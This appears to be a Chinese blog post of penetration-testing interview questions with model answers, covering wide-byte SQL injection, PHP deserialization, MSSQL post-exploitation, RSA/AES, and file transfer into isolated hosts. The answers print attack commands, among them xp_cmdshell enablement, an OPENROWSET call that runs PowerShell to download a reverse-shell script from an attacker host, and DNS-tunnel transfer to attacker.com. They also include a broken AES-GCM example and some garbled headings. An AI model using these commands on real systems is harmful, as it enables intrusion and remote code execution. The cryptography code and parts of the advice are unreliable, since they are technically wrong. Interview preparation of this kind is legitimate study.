2025年渗透测试面试题总结-某深信服 -安全工程师(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

[深信服 -安全工程师](#深信服 -安全工程师)

一、宽字节注入原理与编码影响

(一)技术原理

(二)编码范围扩展

(三)防御方案

二、PHP反序列化漏洞深度解析

(一)漏洞形成机制

(二)攻击面扩展

(三)防御体系ini

三、MSSQL服务权限横向渗透

(一)权限提升路径

(二)横向移动技术

四、密码学算法核心原理

(一)RSA算法流程

(二)AES算法架构

五、不出网环境文件传输方案

(一)协议隧道技术

(二)存储介质利用

六、防御体系构建建议


深信服 -安全工程师

复制代码
宽字节注入原理,是否只有gbk编码存在宽字节注入
php反序列化原理
内网一台机器,只有一个mssql的服务账户权限,如何进行后续的利用
ras算法原理/aes算法原理
一台机器不能出网,如何把一个exe文件放到对应的目标机器上去(dmz)

一、宽字节注入原理与编码影响

(一)技术原理

宽字节注入是一种利用数据库字符集转换漏洞的SQL注入技术,核心逻辑在于:

  1. 多字节编码(如GBK)将两个连续字节解析为一个中文字符
  2. 当转义符号'被转义为\'时(0x5c),若前导字节与0x5c组成合法GBK字符(如0xbf5c对应"縗")
  3. 导致单引号逃逸闭合,形成注入点

典型攻击Payload:

复制代码
sql`%bf%27 UNION SELECT 1,version()-- `

此时数据库解析为:

复制代码
0xbf5c27 → 縗'(0x5c被"吞噬")
(二)编码范围扩展
  1. 主要影响编码
    • GBK系列(GB2312/GB18030)
    • BIG5(繁体中文)
    • Shift-JIS(日文)
    • EUC-KR(韩文)
  2. UTF-8的防御性
    • 采用3-4字节编码机制
    • 严格编码校验机制
    • 0x5c无法与前导字节构成合法字符
(三)防御方案
复制代码
php`// 最佳实践组合 $db->set_charset("utf8mb4"); $stmt = $db->prepare("SELECT * FROM users WHERE id=?"); $stmt->bind_param("i", $input);`

二、PHP反序列化漏洞深度解析

(一)漏洞形成机制
复制代码
php`class VulnerableClass { private $data; public function __wakeup() { system($this->data); } } // 攻击者构造的序列化数据 $payload = 'O:15:"VulnerableClass":1:{s:4:"data";s:9:"calc.exe";}'; unserialize($payload); // 触发命令执行 `

关键触发点

  • __destruct():对象销毁时自动执行
  • __wakeup():反序列化时初始化操作
  • __toString():对象被当作字符串使用时触发
(二)攻击面扩展
  1. POP链构造

    • 通过多个类的属性串联调用链
    • 利用魔术方法跳转执行流程
  2. Phar协议利用

    复制代码
    php`file_exists("phar://malicious.phar/test.txt"); `

    通过文件操作函数触发phar反序列化

(三)防御体系ini
复制代码
`; php.ini 配置加固 session.serialize_handler = php_serialize disable_functions = system,exec `

三、MSSQL服务权限横向渗透

(一)权限提升路径
  1. 存储过程利用

    复制代码
    sql`EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami';`
  2. CLR组件攻击 :sql

    复制代码
    `CREATE ASSEMBLY ExploitAssembly FROM 0x4D5A9000... WITH PERMISSION_SET = UNSAFE;`
(二)横向移动技术
  1. 数据库链路渗透

    复制代码
    sql`SELECT * FROM OPENROWSET('SQLNCLI', 'Server=192.168.1.10;Trusted_Connection=yes;', 'EXEC master..xp_cmdshell ''powershell -c IEX(New-Object Net.WebClient).DownloadString("http://attacker/revshell.ps1")''') `
  2. 凭证提取技术

    • 使用PowerUpSQL提取Linked Server凭据
    • 解密MSSQL保存的自动化任务密码

四、密码学算法核心原理

(一)RSA算法流程
  1. 密钥生成

    复制代码
    n = p*q (p,q为大素数)
    φ(n) = (p-1)(q-1)
    e选择满足1<e<φ(n)且与φ(n)互质 
    d ≡ e⁻¹ mod φ(n)
  2. 加密过程

    复制代码
    C ≡ M^e mod n 
    M ≡ C^d mod n 
(二)AES算法架构
  1. 轮函数组成

    复制代码
    python`def Round(state, round_key): SubBytes(state) ShiftRows(state) MixColumns(state) AddRoundKey(state, round_key)`
  2. 密钥扩展

    • 使用Rijndael密钥调度算法
    • 每轮生成128/192/256位新密钥

五、不出网环境文件传输方案

(一)协议隧道技术
  1. DNS隧道传输

    复制代码
    powershell`# 发送端 $bytes = [System.IO.File]::ReadAllBytes("payload.exe") $b64 = [Convert]::ToBase64String($bytes) foreach ($chunk in ($b64 -split '(\w{63})')){ Resolve-DnsName "$chunk.attacker.com" -Type A } # 接收端 tshark -i eth0 -Y "dns.qry.name contains attacker.com" -T fields -e dns.qry.name `
  2. ICMP封装传输

    复制代码
    bash`# 发送端 icmpsh_m.py -t 目标IP -s -d payload.exe # 接收端 icmpsh_r.py -i eth0 `
(二)存储介质利用
  1. 数据库BLOB导出

    复制代码
    sql`INSERT INTO temp_table (data) VALUES (0x4D5A9000...) BCP "SELECT data FROM temp_table" queryout "C:\payload.exe" -S localhost -U sa -P password `
  2. Windows备用数据流 :cmd

    复制代码
    `type payload.exe > normal.txt:secret.exe mklink /H loader.exe normal.txt:secret.exe `

六、防御体系构建建议

  1. 纵深防御架构

    • 网络层:VLAN划分+ACL白名单
    • 主机层:Credential Guard+AppLocker
    • 应用层:CSP+输入净化
  2. 加密算法实践

    复制代码
    python`# 现代加密建议 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives import padding def aes_encrypt(key, plaintext): padder = padding.PKCS7(128).padder() cipher = Cipher(algorithms.AES(key), modes.GCM(nonce)) encryptor = cipher.encryptor() return encryptor.update(padder.update(plaintext)) + encryptor.finalize() `
相关推荐
郝YH是人间理想36 分钟前
Python面向对象
开发语言·python·面向对象
藍海琴泉37 分钟前
蓝桥杯算法精讲:二分查找实战与变种解析
python·算法
Full Stack Developme1 小时前
SQL 版本历史
数据库·sql
IYU_4 小时前
VulnHub-Web-Machine-N7通关攻略
服务器·安全·web安全·网络安全
杰克逊的日记4 小时前
mysql数据实时全量+增量迁移
数据库·mysql·数据迁移
Pandaconda5 小时前
【后端开发面试题】每日 3 题(二十)
开发语言·分布式·后端·面试·消息队列·熔断·服务限流
linuxxx1105 小时前
centos7 升级MariaDB 到 10.5 或更高版本
数据库·mariadb
mqwguardain5 小时前
python常见反爬思路详解
开发语言·python
换个网名有点难5 小时前
django怎么配置404和500
数据库·django
_庄@雅@丽5 小时前
(UI自动化测试web端)第二篇:元素定位的方法_xpath扩展(工作当中用的比较多)
python·ui自动化元素定位·xpath元素定位